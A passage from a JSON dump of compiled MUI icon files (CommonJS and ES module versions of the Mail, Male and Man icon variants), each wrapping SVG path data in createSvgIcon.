8-5v2.08c.32-.07.66-.1 1-.1h1V6c0-1.1-.9-2-2-2H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h12v-2zM20 6l-8 5-8-5z\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M23 15v-1c0-1.1-.9-2-2-2s-2 .9-2 2v1c-.55 0-1 .45-1 1v3c0 .55.45 1 1 1h4c.55 0 1-.45 1-1v-3c0-.55-.45-1-1-1m-3 0v-1c0-.55.45-1 1-1s1 .45 1 1v1z\"\n}, \"3\")], 'MailLockTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MailLockTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 6H4l8 5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 13 4 8v10h12v-3.03c0-2.42 1.72-4.44 4-4.9V8z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 18V8l8 5 8-5v2.08c.32-.07.66-.1 1-.1h1V6c0-1.1-.9-2-2-2H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h12v-2zM20 6l-8 5-8-5z\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M23 15v-1c0-1.1-.9-2-2-2s-2 .9-2 2v1c-.55 0-1 .45-1 1v3c0 .55.45 1 1 1h4c.55 0 1-.45 1-1v-3c0-.55-.45-1-1-1m-3 0v-1c0-.55.45-1 1-1s1 .45 1 1v1z\"\n}, \"3\")], 'MailLockTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MailOutline.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 14H4V8l8 5 8-5zm-8-7L4 6h16z\"\n}), 'MailOutline');"
  },
  {
    "path": "packages/mui-icons-material/lib/MailOutline.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 14H4V8l8 5 8-5zm-8-7L4 6h16z\"\n}), 'MailOutline');"
  },
  {
    "path": "packages/mui-icons-material/lib/MailOutlineOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 14H4V8l8 5 8-5zm-8-7L4 6h16z\"\n}), 'MailOutlineOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MailOutlineOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 14H4V8l8 5 8-5zm-8-7L4 6h16z\"\n}), 'MailOutlineOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MailOutlineRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m-1 14H5c-.55 0-1-.45-1-1V8l6.94 4.34c.65.41 1.47.41 2.12 0L20 8v9c0 .55-.45 1-1 1m-7-7L4 6h16z\"\n}), 'MailOutlineRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MailOutlineRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m-1 14H5c-.55 0-1-.45-1-1V8l6.94 4.34c.65.41 1.47.41 2.12 0L20 8v9c0 .55-.45 1-1 1m-7-7L4 6h16z\"\n}), 'MailOutlineRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MailOutlineSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 4H2.01L2 20h20zm-2 14H4V8l8 5 8-5zm-8-7L4 6h16z\"\n}), 'MailOutlineSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MailOutlineSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 4H2.01L2 20h20zm-2 14H4V8l8 5 8-5zm-8-7L4 6h16z\"\n}), 'MailOutlineSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MailOutlineTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 14H4V8l8 5 8-5zm-8-7L4 6h16z\"\n}), 'MailOutlineTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MailOutlineTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 14H4V8l8 5 8-5zm-8-7L4 6h16z\"\n}), 'MailOutlineTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MailOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 6c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2zm-2 0-8 4.99L4 6zm0 12H4V8l8 5 8-5z\"\n}), 'MailOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MailOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 6c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2zm-2 0-8 4.99L4 6zm0 12H4V8l8 5 8-5z\"\n}), 'MailOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MailRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m-.4 4.25-6.54 4.09c-.65.41-1.47.41-2.12 0L4.4 8.25c-.25-.16-.4-.43-.4-.72 0-.67.73-1.07 1.3-.72L12 11l6.7-4.19c.57-.35 1.3.05 1.3.72 0 .29-.15.56-.4.72\"\n}), 'MailRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MailRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m-.4 4.25-6.54 4.09c-.65.41-1.47.41-2.12 0L4.4 8.25c-.25-.16-.4-.43-.4-.72 0-.67.73-1.07 1.3-.72L12 11l6.7-4.19c.57-.35 1.3.05 1.3.72 0 .29-.15.56-.4.72\"\n}), 'MailRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MailSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 4H2v16h20zm-2 4-8 5-8-5V6l8 5 8-5z\"\n}), 'MailSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MailSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 4H2v16h20zm-2 4-8 5-8-5V6l8 5 8-5z\"\n}), 'MailSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MailTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 6H4l8 4.99zM4 8v10h16V8l-8 5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 2-8 4.99L4 6zm0 12H4V8l8 5 8-5z\"\n}, \"1\")], 'MailTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MailTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 6H4l8 4.99zM4 8v10h16V8l-8 5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 2-8 4.99L4 6zm0 12H4V8l8 5 8-5z\"\n}, \"1\")], 'MailTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Male.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.5 11c1.93 0 3.5 1.57 3.5 3.5S11.43 18 9.5 18 6 16.43 6 14.5 7.57 11 9.5 11m0-2C6.46 9 4 11.46 4 14.5S6.46 20 9.5 20s5.5-2.46 5.5-5.5c0-1.16-.36-2.23-.97-3.12L18 7.42V10h2V4h-6v2h2.58l-3.97 3.97C11.73 9.36 10.66 9 9.5 9\"\n}), 'Male');"
  },
  {
    "path": "packages/mui-icons-material/lib/Male.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.5 11c1.93 0 3.5 1.57 3.5 3.5S11.43 18 9.5 18 6 16.43 6 14.5 7.57 11 9.5 11m0-2C6.46 9 4 11.46 4 14.5S6.46 20 9.5 20s5.5-2.46 5.5-5.5c0-1.16-.36-2.23-.97-3.12L18 7.42V10h2V4h-6v2h2.58l-3.97 3.97C11.73 9.36 10.66 9 9.5 9\"\n}), 'Male');"
  },
  {
    "path": "packages/mui-icons-material/lib/MaleOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.5 11c1.93 0 3.5 1.57 3.5 3.5S11.43 18 9.5 18 6 16.43 6 14.5 7.57 11 9.5 11m0-2C6.46 9 4 11.46 4 14.5S6.46 20 9.5 20s5.5-2.46 5.5-5.5c0-1.16-.36-2.23-.97-3.12L18 7.42V10h2V4h-6v2h2.58l-3.97 3.97C11.73 9.36 10.66 9 9.5 9\"\n}), 'MaleOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MaleOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.5 11c1.93 0 3.5 1.57 3.5 3.5S11.43 18 9.5 18 6 16.43 6 14.5 7.57 11 9.5 11m0-2C6.46 9 4 11.46 4 14.5S6.46 20 9.5 20s5.5-2.46 5.5-5.5c0-1.16-.36-2.23-.97-3.12L18 7.42V10h2V4h-6v2h2.58l-3.97 3.97C11.73 9.36 10.66 9 9.5 9\"\n}), 'MaleOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MaleRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 4h-4c-.55 0-1 .45-1 1s.45 1 1 1h1.58l-3.97 3.97C11.73 9.36 10.66 9 9.5 9 6.46 9 4 11.46 4 14.5S6.46 20 9.5 20s5.5-2.46 5.5-5.5c0-1.16-.36-2.23-.97-3.12L18 7.42V9c0 .55.45 1 1 1s1-.45 1-1V5c0-.55-.45-1-1-1M9.5 18C7.57 18 6 16.43 6 14.5S7.57 11 9.5 11s3.5 1.57 3.5 3.5S11.43 18 9.5 18\"\n}), 'MaleRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MaleRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 4h-4c-.55 0-1 .45-1 1s.45 1 1 1h1.58l-3.97 3.97C11.73 9.36 10.66 9 9.5 9 6.46 9 4 11.46 4 14.5S6.46 20 9.5 20s5.5-2.46 5.5-5.5c0-1.16-.36-2.23-.97-3.12L18 7.42V9c0 .55.45 1 1 1s1-.45 1-1V5c0-.55-.45-1-1-1M9.5 18C7.57 18 6 16.43 6 14.5S7.57 11 9.5 11s3.5 1.57 3.5 3.5S11.43 18 9.5 18\"\n}), 'MaleRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MaleSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.5 11c1.93 0 3.5 1.57 3.5 3.5S11.43 18 9.5 18 6 16.43 6 14.5 7.57 11 9.5 11m0-2C6.46 9 4 11.46 4 14.5S6.46 20 9.5 20s5.5-2.46 5.5-5.5c0-1.16-.36-2.23-.97-3.12L18 7.42V10h2V4h-6v2h2.58l-3.97 3.97C11.73 9.36 10.66 9 9.5 9\"\n}), 'MaleSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MaleSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.5 11c1.93 0 3.5 1.57 3.5 3.5S11.43 18 9.5 18 6 16.43 6 14.5 7.57 11 9.5 11m0-2C6.46 9 4 11.46 4 14.5S6.46 20 9.5 20s5.5-2.46 5.5-5.5c0-1.16-.36-2.23-.97-3.12L18 7.42V10h2V4h-6v2h2.58l-3.97 3.97C11.73 9.36 10.66 9 9.5 9\"\n}), 'MaleSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MaleTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.5 11c1.93 0 3.5 1.57 3.5 3.5S11.43 18 9.5 18 6 16.43 6 14.5 7.57 11 9.5 11m0-2C6.46 9 4 11.46 4 14.5S6.46 20 9.5 20s5.5-2.46 5.5-5.5c0-1.16-.36-2.23-.97-3.12L18 7.42V10h2V4h-6v2h2.58l-3.97 3.97C11.73 9.36 10.66 9 9.5 9\"\n}), 'MaleTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MaleTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.5 11c1.93 0 3.5 1.57 3.5 3.5S11.43 18 9.5 18 6 16.43 6 14.5 7.57 11 9.5 11m0-2C6.46 9 4 11.46 4 14.5S6.46 20 9.5 20s5.5-2.46 5.5-5.5c0-1.16-.36-2.23-.97-3.12L18 7.42V10h2V4h-6v2h2.58l-3.97 3.97C11.73 9.36 10.66 9 9.5 9\"\n}), 'MaleTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Man.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 7h-4c-1.1 0-2 .9-2 2v6h2v7h4v-7h2V9c0-1.1-.9-2-2-2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"4\",\n  r: \"2\"\n}, \"1\")], 'Man');"
  },
  {
    "path": "packages/mui-icons-material/lib/Man.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 7h-4c-1.1 0-2 .9-2 2v6h2v7h4v-7h2V9c0-1.1-.9-2-2-2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"4\",\n  r: \"2\"\n}, \"1\")], 'Man');"
  },
  {
    "path": "packages/mui-icons-material/lib/Man2.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 7h-4c-1.1 0-2 .9-2 2v6h2.5v7h3v-7H16V9c0-1.1-.9-2-2-2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"4\",\n  r: \"2\"\n}, \"1\")], 'Man2');"
  },
  {
    "path": "packages/mui-icons-material/lib/Man2.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 7h-4c-1.1 0-2 .9-2 2v6h2.5v7h3v-7H16V9c0-1.1-.9-2-2-2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"4\",\n  r: \"2\"\n}, \"1\")], 'Man2');"
  },
  {
    "path": "packages/mui-icons-material/lib/Man2Outlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 7h-4c-1.1 0-2 .9-2 2v6h2.5v7h3v-7H16V9c0-1.1-.9-2-2-2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"4\",\n  r: \"2\"\n}, \"1\")], 'Man2Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Man2Outlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 7h-4c-1.1 0-2 .9-2 2v6h2.5v7h3v-7H16V9c0-1.1-.9-2-2-2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"4\",\n  r: \"2\"\n}, \"1\")], 'Man2Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Man2Rounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 7h-4c-1.1 0-2 .9-2 2v5c0 .55.45 1 1 1h1.5v5.5c0 .83.67 1.5 1.5 1.5s1.5-.67 1.5-1.5V15H15c.55 0 1-.45 1-1V9c0-1.1-.9-2-2-2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"4\",\n  r: \"2\"\n}, \"1\")], 'Man2Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Man2Rounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 7h-4c-1.1 0-2 .9-2 2v5c0 .55.45 1 1 1h1.5v5.5c0 .83.67 1.5 1.5 1.5s1.5-.67 1.5-1.5V15H15c.55 0 1-.45 1-1V9c0-1.1-.9-2-2-2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"4\",\n  r: \"2\"\n}, \"1\")], 'Man2Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Man2Sharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 7H8v8h2.5v7h3v-7H16z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"4\",\n  r: \"2\"\n}, \"1\")], 'Man2Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Man2Sharp.mjs",
